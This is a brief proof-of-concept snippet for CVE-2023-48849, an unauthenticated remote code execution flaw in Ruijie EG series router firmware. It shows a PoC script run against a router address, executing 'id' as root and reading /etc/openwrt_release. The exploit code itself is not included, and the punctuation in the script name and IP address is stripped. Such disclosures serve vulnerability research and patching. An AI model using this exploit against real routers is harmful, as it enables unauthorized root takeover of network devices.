CVE-2023-48849 Ruijie EG Series Routers firmware <=EG_30(1)B11P216 allows unauthenticated attackers to remotely execute arbitrary code due to incorrect filtering $ python3 pocpy 19216811 'id' uid=0(root) gid=0(root) $ python3 pocpy 19216811 'grep TARGET /etc/openwrt_release' DISTRIB_TARGET='mediatek/eg310gh-e'